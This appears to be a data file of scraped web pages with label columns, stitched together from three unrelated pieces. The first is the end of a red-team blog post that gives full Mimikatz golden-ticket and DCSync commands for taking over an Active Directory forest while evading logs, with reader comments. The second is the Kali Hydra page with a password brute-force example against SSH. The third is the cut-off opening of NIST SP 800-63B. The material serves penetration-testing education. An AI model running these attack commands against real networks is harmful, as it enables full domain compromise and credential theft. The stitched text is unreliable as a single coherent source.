/sid:S-1-5-21-4275052721-3205085442-2770241942 /sids:S-1-5-21-456218688-4216621462-1491369290-519 /ptt \xc2 Edit: kerberos::golden /user:SECONDARY$ /krbtgt:8b7c904343e530c4f81c53e8f614caf7 /domain:dev.testlab.local /sid:S-1-5-21-4275052721-3205085442-2770241942 /groups:516 /sids:S-1-5-21-456218688-4216621462-1491369290-516,S-1-5-9 /id:S-1-5-21-4275052721-3205085442-2770241942-1002 /ptt So we have a few options here. We could use Empire to WMI to the DC for dev.testlab.local and then run the credentials/mimikatz/golden_ticket module with the necessary information. For the Golden Ticket\xc2 creation, we can use the saved krbtgt hash from the DCSync output, setting CredID to 1, the user to SECONDARY$, and the sids to\xc2 S-1-5-21-456218688-4216621462-1491369290-519\xc2 edit:\xc2 S-1-5-21-456218688-4216621462-1491369290-516,S-1-5-9: We could also RDP to the DEV domain controller, use a download cradle to load up Mimikatz, and run our specified command.\xc2 In either case, we now have administrator access to the domain controller (PRIMARY) for the testlab.local forest root! Step 4: DCSync the Forest Root We now have all the privileges needed to compromise the krbtgt hash of the forest root. This time our command will be a bit more complex. One thing we need is the domain NT4 shortname of the forest root.\xc2 You can use this Gist, or you can translate the username to a SID and back again. In our case, the shortname is TESTLAB. Here is the command we\xe2\x80\x99ll be using: lsadump::dcsync /user:TESTLAB\\krbtgt /domain:testlab.local 1 lsadump::dcsync /user:TESTLAB\\krbtgt /domain:testlab.local If testlab.local had multiple domain controllers and we wanted to specify a particular one, we could use the /dc:DC.FQDN flag as well. This is\xc2 how it looks through Empire: If we want a single Invoke-Mimikatz command to build/inject the Golden Ticket, DCSync the root, and then purge current tickets from the session, we can do that by space separating the double quoted Mimikatz commands: Invoke-Mimikatz -Command '""kerberos::golden /user:SECONDARY$ /krbtgt:8b7c904343e530c4f81c53e8f614caf7 /domain:dev.testlab.local /sid:S-1-5-21-4275052721-3205085442-2770241942 /sids:S-1-5-21-456218688-4216621462-1491369290-519 /ptt"" ""lsadump::dcsync /domain:testlab.local /dc:Primary.testlab.local /user:testlab\\krbtgt"" ""kerberos::purge""' 1 Invoke-Mimikatz -Command '""kerberos::golden /user:SECONDARY$ /krbtgt:8b7c904343e530c4f81c53e8f614caf7 /domain:dev.testlab.local /sid:S-1-5-21-4275052721-3205085442-2770241942 /sids:S-1-5-21-456218688-4216621462-1491369290-519 /ptt"" ""lsadump::dcsync /domain:testlab.local /dc:Primary.testlab.local /user:testlab\\krbtgt"" ""kerberos::purge""' edit: Invoke-Mimikatz -Command '""kerberos::golden /user:SECONDARY$ /krbtgt:8b7c904343e530c4f81c53e8f614caf7 /domain:dev.testlab.local /sid:S-1-5-21-4275052721-3205085442-2770241942 /groups:516 /sids:S-1-5-21-456218688-4216621462-1491369290-516,S-1-5-9 /id:S-1-5-21-4275052721-3205085442-2770241942-1002 /ptt"" ""lsadump::dcsync /domain:testlab.local /dc:Primary.testlab.local /user:testlab\\krbtgt"" ""kerberos::purge""' 1 edit: Invoke-Mimikatz -Command '""kerberos::golden /user:SECONDARY$ /krbtgt:8b7c904343e530c4f81c53e8f614caf7 /domain:dev.testlab.local /sid:S-1-5-21-4275052721-3205085442-2770241942 /groups:516 /sids:S-1-5-21-456218688-4216621462-1491369290-516,S-1-5-9 /id:S-1-5-21-4275052721-3205085442-2770241942-1002 /ptt"" ""lsadump::dcsync /domain:testlab.local /dc:Primary.testlab.local /user:testlab\\krbtgt"" ""kerberos::purge""' And if the SECONDARY domain controller allows PSRemoting, we don\xe2\x80\x99t even have to RDP, and can perform the entire attack chain from our WINDOWS3 workstation! Because we\xe2\x80\x99re constructing and injecting a new TGT, we don\xe2\x80\x99t have to worry about the Kerberos double-hop problem: Invoke-Mimikatz -Command '""kerberos::golden /user:SECONDARY$ /krbtgt:8b7c904343e530c4f81c53e8f614caf7 /domain:dev.testlab.local /sid:S-1-5-21-4275052721-3205085442-2770241942 /sids:S-1-5-21-456218688-4216621462-1491369290-519 /ptt"" ""lsadump::dcsync /domain:testlab.local /dc:Primary.testlab.local /user:testlab\\krbtgt"" ""kerberos::purge""' -ComputerName SECONDARY.dev.testlab.local 1 Invoke-Mimikatz -Command '""kerberos::golden /user:SECONDARY$ /krbtgt:8b7c904343e530c4f81c53e8f614caf7 /domain:dev.testlab.local /sid:S-1-5-21-4275052721-3205085442-2770241942 /sids:S-1-5-21-456218688-4216621462-1491369290-519 /ptt"" ""lsadump::dcsync /domain:testlab.local /dc:Primary.testlab.local /user:testlab\\krbtgt"" ""kerberos::purge""' -ComputerName SECONDARY.dev.testlab.local edit: Invoke-Mimikatz -Command '""kerberos::golden /user:SECONDARY$ /krbtgt:8b7c904343e530c4f81c53e8f614caf7 /domain:dev.testlab.local /sid:S-1-5-21-4275052721-3205085442-2770241942 /groups:516 /sids:S-1-5-21-456218688-4216621462-1491369290-516,S-1-5-9 /id:S-1-5-21-4275052721-3205085442-2770241942-1002 /ptt"" ""lsadump::dcsync /domain:testlab.local /dc:Primary.testlab.local /user:testlab\\krbtgt"" ""kerberos::purge""' -ComputerName SECONDARY.dev.testlab.local 1 edit: Invoke-Mimikatz -Command '""kerberos::golden /user:SECONDARY$ /krbtgt:8b7c904343e530c4f81c53e8f614caf7 /domain:dev.testlab.local /sid:S-1-5-21-4275052721-3205085442-2770241942 /groups:516 /sids:S-1-5-21-456218688-4216621462-1491369290-516,S-1-5-9 /id:S-1-5-21-4275052721-3205085442-2770241942-1002 /ptt"" ""lsadump::dcsync /domain:testlab.local /dc:Primary.testlab.local /user:testlab\\krbtgt"" ""kerberos::purge""' -ComputerName SECONDARY.dev.testlab.local Now why did we use the SECONDARY$ account (the domain controller for the child) when building our ticket, as opposed to a normal *-500 Administrator account? edit:\xc2 And why use the \xe2\x80\x9cDomain Controllers\xe2\x80\x9d and \xe2\x80\x9cEnterprise Domain Controllers\xe2\x80\x9d SIDs when creating the ticket?\xc2 @gentilkiwi explains\xc2 in the following tweets: During the execution of our first DCSync, we had to use our current dev.testlab.local Domain Admin credentials, which causes log entries as Delpy describes above. Once we gain the krbtgt\xc2 hash of the DEV domain controller (through DCSync or other methods), we can be sneakier in attacking the forest root. If we create our Golden Ticket (as we did above) such that the user account in the PAC is the machine account of the DC we\xe2\x80\x99re currently operating from (in our case SECONDARY$), but the ExtraSids contains the\xc2 \xe2\x80\x9cEnterprise Admins\xe2\x80\x9d SID for the forest root edit: the\xc2 Domain Controllers SID for the forest root and the \xe2\x80\x9cEnterprise Domain Controllers\xe2\x80\x9d SID, we should be able to\xc2 DCSync the krbtgt hash of the root without creating additional logs! This is something others have already started to touch on. Edit: because /id defaults\xc2 to domain-500, the\xc2 /user and /id for this ticket won\xe2\x80\x99t match, meaning it will only work for 20 minutes. This is all the time we need, but if you would like it to last longer, you can enumerate the full SID of the SECONDARY.dev.testlab.local domain controller and set that for the /id argument.\xc2 Note: I haven\xe2\x80\x99t tested this thoroughly as far as log generation, so if the described behavior isn\xe2\x80\x99t accurate, please let me know and I will correct the description. Wrapup At this point, with the krbtgt hash of the forest root, we can build Golden Tickets on demand to compromise any machine in the\xc2 testlab.local forest. By taking advantage of Mimikatz\xe2\x80\x99 new features and Sean\xe2\x80\x99s new work, we can quickly and easily turn the compromise of any domain administrator credentials in the forest into a total forest compromise. One interesting defensive note (that reiterates Microsoft\xe2\x80\x99s description that the domain is not a trust boundary): it\xe2\x80\x99s not sufficient to change all domain passwords and roll the krbtgt account hash of just the root domain (or the compromised domain), you need to roll the krbtgt hash for ALL\xc2 domains in the forest. Or just: Read more posts about redteaming domain trusts mimikatz Previous Post Empire 1.2 Next Post Invoke-BypassUAC 8 Comments bigf4n November 22, 2015 Assuming you have domain admin creds\xe2\x80\x99, how do you hop from one end point (computer) in a forest domain to another computer in a secondary domain (same forest) while the a the two domains run on separate networks? (separate vlans, both DCs can communicate \xe2\x80\x93 bridged). Reply harmj0y November 22, 2015 You would need to establish a way to execute the actions from the DC you have access to, whether through an agent or RDP. In similar situations in the past, we\xe2\x80\x99ve RDP\xe2\x80\x99ed to the first DC, started PowerShell/loaded up Invoke-Mimikatz and executed the functionality from there. Reply WoW November 30, 2015 Don\xe2\x80\x99t you think RDP is too noisy? Does Empire has the ability to tunnel other empire instances in the network? Assuming we have two domains in a Forest and a domain admin in both A & B (with bidirectional trust) is it possible to use DCSync and query a user\xe2\x80\x99s hash saved in Domain A from an end point that is only connected to DC B? to illustrate: B -> DC(b) DC(a) <- A So B can get user hashes from A by using DCSync on the domain he's connected to (and although B doesn't have direct access to A). Is this implemented in PowerView/Empire? Thanks! Reply harmj0y December 1, 2015 RDP \xe2\x80\x98noise\xe2\x80\x99 depends on the environment. In some environments, RDP is used as the primary remote access method, so using RDP is actually preferred to blend with the noise (in others the opposite is true). Concerning the trust, more information is needed-> \xe2\x80\x9cbidirectional trust\xe2\x80\x9d meaning an external or inner-forest trust? I\xe2\x80\x99m pretty sure domain hashes are not replicated across external trusts (and I don\xe2\x80\x99t believe so between intra-forest internal trusts), so you would need to communicate to a DC in domain A from the end point in domain B. This distills some of the points of the post, that depending on network segmentation you need to pivot traffic through the DC_A->DC_B communication through RDP or agent tunneling. Empire does have basic \xe2\x80\x98pivot listeners\xe2\x80\x98 but this involves opening up firewall ports on the pivoting machines. Reply . December 7, 2015 If there\xe2\x80\x99s a one-way trust between DEV and the forest root, can you still pop the entire forest by getting DA/krbtgt on DEV? Reply harmj0y December 7, 2015 According to Microsoft, \xe2\x80\x9cAll domain trusts in an Active Directory forest are two-way, transitive trusts\xe2\x80\x9d. So it\xe2\x80\x99s not really possibly (maybe technically in some weird way, but not commonly/practically) to have a one-way or non-transitive trust between two domains within a forest (and the sid hopping approach only works on domains within a forest). Reply Threat Hunting for Dridex Attacks: Top Questions from Security Teams | Carbon Black July 24, 2017 [\xe2\x80\xa6] http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/ [\xe2\x80\xa6] Reply Mimikatz DCSync Usage, Exploitation, and Detection \xe2\x80\x93 Active Directory Security July 31, 2017 [\xe2\x80\xa6] Will\xe2\x80\x99s post has great information on Red Team usage of Mimikatz DCSync: Mimikatz and DCSync and ExtraSids, Oh My [\xe2\x80\xa6] Reply Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment Name* Email* Website Save my name, email, and website in this browser for the next time I comment. Notify me of follow-up comments by email. Notify me of new posts by email. This site uses Akismet to reduce spam. Learn how your comment data is processed. Cele Theme by Compete Themes.","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"https-tools-kali-org-password-attacks-hydra THC-Hydra | Penetration Testing Tools Home Tools Listing Metapackages Cookie Settings Hydra Package Description Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely. It supports: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP. Source: https://www.thc.org/thc-hydra/ THC-Hydra Homepage | Kali THC-Hydra Repo Author: Van Hauser, Roland Kessler License: AGPL-3.0 Tools included in the hydra package hydra \xe2\x80\x93 Very fast network logon cracker root@kali:~# hydra -h Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: \xc2 -R \xc2 \xc2 \xc2 \xc2 restore a previous aborted/crashed session \xc2 -S \xc2 \xc2 \xc2 \xc2 perform an SSL connect \xc2 -s PORT \xc2 if the service is on a different default port, define it here \xc2 -l LOGIN or -L FILE \xc2 login with LOGIN name, or load several logins from FILE \xc2 -p PASS \xc2 or -P FILE \xc2 try password PASS, or load several passwords from FILE \xc2 -x MIN:MAX:CHARSET \xc2 password bruteforce generation, type ""-x -h"" to get help \xc2 -e nsr \xc2 \xc2 try ""n"" null password, ""s"" login as pass and/or ""r"" reversed login \xc2 -u \xc2 \xc2 \xc2 \xc2 loop around users, not passwords (effective! implied with -x) \xc2 -C FILE \xc2 colon separated ""login:pass"" format, instead of -L/-P options \xc2 -M FILE \xc2 list of servers to be attacked in parallel, one entry per line \xc2 -o FILE \xc2 write found login/password pairs to FILE instead of stdout \xc2 -f / -F \xc2 exit when a login/pass pair is found (-M: -f per host, -F global) \xc2 -t TASKS \xc2 run TASKS number of connects in parallel (per host, default: 16) \xc2 -w / -W TIME \xc2 waittime for responses (32s) / between connects per thread \xc2 -4 / -6 \xc2 prefer IPv4 (default) or IPv6 addresses \xc2 -v / -V / -d \xc2 verbose mode / show login+pass for each attempt / debug mode \xc2 -U \xc2 \xc2 \xc2 \xc2 service module usage details \xc2 server \xc2 \xc2 the target server (use either this OR the -M option) \xc2 service \xc2 the service to crack (see below for supported protocols) \xc2 OPT \xc2 \xc2 \xc2 some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: \xc2 % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) \xc2 \xc2 \xc2 \xc2 % export HYDRA_PROXY_HTTP=http://proxy:8080 \xc2 \xc2 \xc2 \xc2 % export HYDRA_PROXY_AUTH=user:pass Examples: \xc2 hydra -l user -P passlist.txt ftp://192.168.0.1 \xc2 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN \xc2 hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 pw-inspector \xe2\x80\x93 Reads passwords in and prints those which meet the requirements root@kali:~# pw-inspector PW-Inspector v0.2 (c) 2005 by van Hauser / THC vh@thc.org [http://www.thc.org] Syntax: pw-inspector [-i FILE] [-o FILE] [-m MINLEN] [-M MAXLEN] [-c MINSETS] -l -u -n -p -s Options: \xc2 -i FILE \xc2 \xc2 file to read passwords from (default: stdin) \xc2 -o FILE \xc2 \xc2 file to write valid passwords to (default: stdout) \xc2 -m MINLEN \xc2 minimum length of a valid password \xc2 -M MAXLEN \xc2 maximum length of a valid password \xc2 -c MINSETS the minimum number of sets required (default: all given) Sets: \xc2 -l \xc2 \xc2 \xc2 \xc2 lowcase characters (a,b,c,d, etc.) \xc2 -u \xc2 \xc2 \xc2 \xc2 upcase characters (A,B,C,D, etc.) \xc2 -n \xc2 \xc2 \xc2 \xc2 numbers (1,2,3,4, etc.) \xc2 -p \xc2 \xc2 \xc2 \xc2 printable characters (which are not -l/-n/-p, e.g. $,!,/,(,*, etc.) \xc2 -s \xc2 \xc2 \xc2 \xc2 special characters - all others not withint the sets above PW-Inspector reads passwords in and prints those which meet the requirements. The return code is the number of valid passwords found, 0 if none was found. Use for security: check passwords, if 0 is returned, reject password choice. Use for hacking: trim your dictionary file to the pw requirements of the target. Usage only allowed for legal purposes. hydra Usage Example Attempt to login as the root user (-l root) using a password list (-P /usr/share/wordlists/metasploit/unix_passwords.txt) with 6 threads (-t 6) on the given SSH server (ssh://192.168.1.123): root@kali:~# hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 ssh://192.168.1.123 Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2014-05-19 07:53:33 [DATA] 6 tasks, 1 server, 1003 login tries (l:1/p:1003), ~167 tries per task [DATA] attacking service ssh on port 22 pw-inspector Usage Example Read in a list of passwords (-i /usr/share/wordlists/nmap.lst) and save to a file (-o /root/passes.txt), selecting passwords of a minimum length of 6 (-m 6) and a maximum length of 10 (-M 10): root@kali:~# pw-inspector -i /usr/share/wordlists/nmap.lst -o /root/passes.txt -m 6 -M 10 root@kali:~# wc -l /usr/share/wordlists/nmap.lst 5086 /usr/share/wordlists/nmap.lst root@kali:~# wc -l /root/passes.txt 4490 /root/passes.txt Become a Certified Penetration Tester Enroll in Penetration Testing with Kali Linux, the course required to become an Offensive Security Certified Professional (OSCP) Enroll Now Tools Categories Tools CategoriesSelect Category Exploitation Tools\xc2 \xc2 (21) Forensics\xc2 \xc2 (23) Hardware Hacking\xc2 \xc2 (6) Information Gathering\xc2 \xc2 (67) Maintaining Access\xc2 \xc2 (17) Password Attacks\xc2 \xc2 (39) Reporting Tools\xc2 \xc2 (10) Reverse Engineering\xc2 \xc2 (11) Sniffing/Spoofing\xc2 \xc2 (33) Stress Testing\xc2 \xc2 (14) Uncategorized\xc2 \xc2 (4) Vulnerability Analysis\xc2 \xc2 (27) Web Applications\xc2 \xc2 (43) Wireless Attacks\xc2 \xc2 (54) Recent Additions Unicornscan WhatWeb APT2 SecLists Tkiptun-ng Packetforge-ng Besside-ng Wesside-ng Easside-ng makeivs-ng Airserv-ng Airolib-ng Tag Cloud analysis android bluetooth cdp database dns enumeration evasion exploitation forensics fuzzing gpu gui http https imaging infogathering mssql mysql networking oracle osint passwords portscanning postexploitation postgresql proxy recon reporting reversing rfid sdr smb smtp sniffing snmp socialengineering spoofing ssl stresstesting tftp voip vulnanalysis webapps wireless Copyright \xc2\xa9 Offensive Security. All rights reserved Menu","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"NIST Special Publication 800-63B National Institute of Standards and Technology NIST Website About NIST usnistgov on Github Home SP 800-63-3 SP 800-63A SP 800-63B SP 800-63C Comment Get help with leaving a comment Tue, 17 Sep 2019 16:19:20 -0400 NIST Special Publication 800-63B Digital Identity Guidelines Authentication and Lifecycle Management Paul A. Grassi James L. Fenton Elaine M. Newton Ray A. Perlner Andrew R. Regenscheid William E. Burr Justin P. Richer Privacy Authors: Naomi B. Lefkovitz Jamie M. Danker Usability Authors: Yee-Yin Choong Kristen K. Greene Mary F. Theofanos This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-63b NIST Special Publication 800-63B Digital Identity Guidelines Authentication and Lifecycle Management Paul A. Grassi Elaine M. Newton Applied Cybersecurity Division Information Technology Laboratory Ray A. Perlner Andrew R. Regenscheid Computer Security Division Information Technology Laboratory James L. Fenton Altmode Networks Los Altos, Calif. William E. Burr Dakota Consulting, Inc. Silver Spring, Md. Justin P. Richer Bespoke Engineering Billerica, Mass. Privacy Authors: Naomi B. Lefkovitz Applied Cybersecurity Division Information Technology Laboratory Usability Authors: Yee-Yin Choong Kristen K. Greene Information Access Division Information Technology Laboratory Jamie M. Danker National Protection and Programs Directorate Department of Homeland Security Mary F. Theofanos Office of Data and Informatics Material Measurement Laboratory This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-63b June 2017 U.S. Department of Commerce Wilbur L. Ross, Jr., Secretary National Institute of Standards and Technology Kent Rochford, Acting NIST Director and Under Secretary of Commerce for Standards and Technology Authority This publication has been developed by NIST in accordance with its statutory responsibilities under the Federal Information Security Modernization Act (FISMA) of 2014, 44 U.S.C. \xc2\xa7 3551 et seq., Public Law (P.L.) 113-283. NIST is responsible for developing information security standards and guidelines, including minimum requirements for federal systems, but such standards and guidelines shall not apply to national security systems without the express approval of appropriate federal officials exercising policy authority over such systems. This guideline is consistent with the requirements of the Office of Management and Budget (OMB) Circular A-130. Nothing in this publication should be taken to contradict the standards and guidelines made mandatory and binding on federal agencies by the Secretary of Commerce under statutory authority. Nor should these guidelines be interpreted as altering or superseding the existing authorities of the Secretary of Commerce, Director of the OMB, or any other federal official. This publication may be used by nongovernmental organizations on a voluntary basis and is not subject to copyright in the United States. Attribution would, however, be appreciated by NIST. National Institute of Standards and Technology Special Publication 800-63B Natl. Inst. Stand. Technol. Spec. Publ. 800-63B, 78 pages (June 2017) CODEN: NSPUE2 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-63b Certain commercial entities, equipment, or materials may be identified in this document in order to describe an experimental procedure or concept adequately. Such identification is not intended to imply recommendation or endorsement by NIST, nor is it intended to imply that the entities, materials, or equipment are necessarily the best available for the purpose. There may be references in this publication to other publications currently under development by NIST in accordance with its assigned statutory responsibilities. The information in this publication, including concepts and methodologies, may be used by federal agencies even before the completion of such companion publications. Thus, until each publication is completed, current requirements, guidelines, and procedures, where they exist, remain operative. For planning and transition purposes, federal agencies may wish to closely follow the development of these new publications by NIST. Organizations are encouraged to review all draft publications during public comment periods and provide feedback to NIST. Many NIST cybersecurity publications, other than the ones noted above, are available at http://csrc.nist.gov/publications/. Comments on this publication may be submitted to: National Institute of Standards and Technology Attn: Applied Cybersecurity Division, Information Technology Laboratory 100 Bureau Drive (Mail Stop 2000) Gaithersburg, MD 20899-2000 Email: dig-comments@nist.gov All comments are subject to release under the Freedom of Information Act (FOIA). Reports on Computer Systems Technology The Information Technology Laboratory (ITL) at the National Institute of Standards and Technology (NIST) promotes the U.S. economy and public welfare by providing technical leadership for the Nation\xe2\x80\x99s measurement and standards infrastructure. ITL develops tests, test methods, reference data, proof of concept implementations, and technical analyses to advance the development and productive use of information technology. ITL\xe2\x80\x99s responsibilities include the development of management, administrative, technical, and physical standards and guidelines for the cost-effective security and privacy of other than national security-related information in federal information systems. The Special Publication 800-series reports on ITL\xe2\x80\x99s research, guidelines, and outreach efforts in information system security, and its collaborative activities with industry, government, and academic organizations. Abstract These guidelines provide technical requirements for federal agencies implementing digital identity services and are not intended to constrain the development or use of standards outside of this purpose. These guidelines focus on the authentication of subjects interacting with government systems over open networks, establishing that a given claimant is a subscriber who has been previously authenticated. The result of the authentication process may be used locally by the system performing the authentication or may be asserted elsewhere in a federated identity system. This document defines technical requirements for each of the three authenticator assurance levels. This publication supersedes corresponding sections of NIST Special Publication (SP) 800-63-2. Keywords authentication; credential service provider; digital authentication; digital credentials; electronic authentication; electronic credentials, federation. Acknowledgements The authors gratefully acknowledge Kaitlin Boeckl for her artistic graphics contributions to all volumes in the SP 800-63 suite and the contributions of our many reviewers, including Joni Brennan from the Digital ID & Authentication Council of Canada (DIACC), Kat Megas, Ellen Nadeau, and Ben Piccarreta from NIST, and Ryan Galluzzo and Danna Gabel O\xe2\x80\x99Rourke from Deloitte & Touche LLP. The authors would also like to acknowledge the thought leadership and innovation of the original authors: Donna F. Dodson, W. Timothy Polk, Sarbari Gupta, and Emad A. Nabbus. Without their tireless efforts, we would not have had the incredible baseline from which to evolve 800-63 to the document it is today. In addition, special thanks to the Federal Privacy Council\xe2\x80\x99s Digital Authentication Task Force for the contributions to the development of privacy requirements and considerations. Requirements Notation and Conventions The terms \xe2\x80\x9cSHALL\xe2\x80\x9d and \xe2\x80\x9cSHALL NOT\xe2\x80\x9d indicate requirements to be followed strictly in order to conform to the publication and from which no deviation is permitted. The terms \xe2\x80\x9cSHOULD\xe2\x80\x9d and \xe2\x80\x9cSHOULD NOT\xe2\x80\x9d indicate that among several possibilities one is recommended as particularly suitable, without mentioning or excluding others, or that a certain course of action is preferred but not necessarily required, or that (in the negative form) a certain possibility or course of action is discouraged but not prohibited. The terms \xe2\x80\x9cMAY\xe2\x80\x9d and \xe2\x80\x9cNEED NOT\xe2\x80\x9d indicate a course of action permissible within the limits of the publication. The terms \xe2\x80\x9cCAN\xe2\x80\x9d and \xe2\x80\x9cCANNOT\xe2\x80\x9d indicate a possibility or capability, whether material, physical or causal or, in the negative, the absence of that possibility or capability. Table of Contents 1. Purpose 2. Introduction 3. Definitions and Abbreviations 4. Authenticator Assurance Levels 5. Authenticator and Verifier Requirements 6. Authenticator Lifecycle Requirements 7. Session Management 8. Threats and Security Considerations 9. Privacy Considerations 10. Usability Considerations 11. References Appendix A \xe2\x80\x94 Strength of Memorized Secrets 1 Purpose This section is informative. This document and its companion documents, Special Publication (SP) 800-63, SP 800-63A, and SP 800-63C, provide technical guidelines to agencies for the implementation of digital authentication. 2 Introduction This section is informative. Digital identity is the unique representation of a subject engaged in an online transaction. A digital identity is always unique in the context of a digital service, but does not necessarily need to be traceable back to a specific real-life subject. In other words, accessing a digital service may not mean that the underlying subject\xe2\x80\x99s real-life representation is known. Identity proofing establishes that a subject is actually who they claim to be. Digital authentication is the process of determining the validity of one or more authenticators used to claim a digital identity. Authentication establishes that a subject attempting to access a digital service is in control of the technologies used to authenticate. For services in which return visits are applicable, successfully authenticating provides reasonable risk-based assurances that the subject accessing the service today is the same as the one who accessed the service previously. Digital identity presents a technical challenge because it often involves the proofing of individuals over an open network and always involves the authentication of individuals over an open network. This presents multiple opportunities for impersonation and other attacks which can lead to fraudulent claims of a subject\xe2\x80\x99s digital identity. The ongoing authentication of subscribers is central to the process of associating a subscriber with their online activity. Subscriber authentication is performed by verifying that the claimant controls one or more authenticators (called tokens in earlier versions of SP 800-63) associated with a given subscriber. A successful authentication results in the assertion of an identifier, either pseudonymous or non-pseudonymous, and optionally other identity information, to the relying party (RP). This document provides recommendations on types of authentication processes, including choices of authenticators, that may be used at various Authenticator Assurance Levels (AALs). It also provides recommendations on the lifecycle of authenticators, including revocation in the event of loss or theft. This technical guideline applies to digital authentication of subjects to systems over a network. It does not address the authentication of a person for physical access (e.g., to a building), though some credentials used for digital access may also be used for physical access authentication. This technical guideline also requires that federal systems and service providers participating in authentication protocols be authenticated to subscribers. The strength of an authentication transaction is characterized by an ordinal measurement known as the AAL. Stronger authentication (a higher AAL) requires malicious actors to have better capabilities and expend greater resources in order to successfully subvert the authentication process. Authentication at higher AALs can effectively reduce the risk of attacks. A high-level summary of the technical requirements for each of the AALs is provided below; see Sections 4 and 5 of this document for specific normative requirements. Authenticator Assurance Level 1: AAL1 provides some assurance that the claimant controls an authenticator bound to the subscriber\xe2\x80\x99s account. AAL1 requires either single-factor or multi-factor authentication using a wide range of available authentication technologies. Successful authentication requires that the claimant prove possession and control of the authenticator through a secure authentication protocol. Authenticator Assurance Level 2: AAL2 provides high confidence that the claimant controls an authenticator(s) bound to the subscriber\xe2\x80\x99s account. Proof of possession and control of two different authentication factors is required through secure authentication protocol(s). Approved cryptographic techniques are required at AAL2 and above. Authenticator Assurance Level 3: AAL3 provides very high confidence that the claimant controls authenticator(s) bound to the subscriber\xe2\x80\x99s account. Authentication at AAL3 is based on proof of possession of a key through a cryptographic protocol. AAL3 authentication requires a hardware-based authenticator and an authenticator that provides verifier impersonation resistance; the same device may fulfill both these requirements. In order to authenticate at AAL3, claimants are required to prove possession and control of\xc2 two distinct authentication factors\xc2 through secure authentication protocol(s).\xc2 Approved cryptographic\xc2 techniques are required. The following table states which sections of the document are normative and which are informative: Section Name Normative/Informative 1. Purpose Informative 2. Introduction Informative 3. Definitions and Abbreviations Informative 4. Authenticator Assurance Levels Normative 5. Authenticator and Verifier Requirements Normative 6. Authenticator Lifecycle Management Normative 7. Session Management Normative 8. Threat and Security Considerations Informative 9. Privacy Considerations Informative 10. Usability Considerations Informative 11. References Informative Appendix A \xe2\x80\x94 Strength of Memorized Secrets Informative 3 Definitions and Abbreviations See SP 800-63, Appendix A for a complete set of definitions and abbreviations. 4 Authenticator Assurance Levels This section contains both normative and informative material. To satisfy the requirements of a given AAL, a 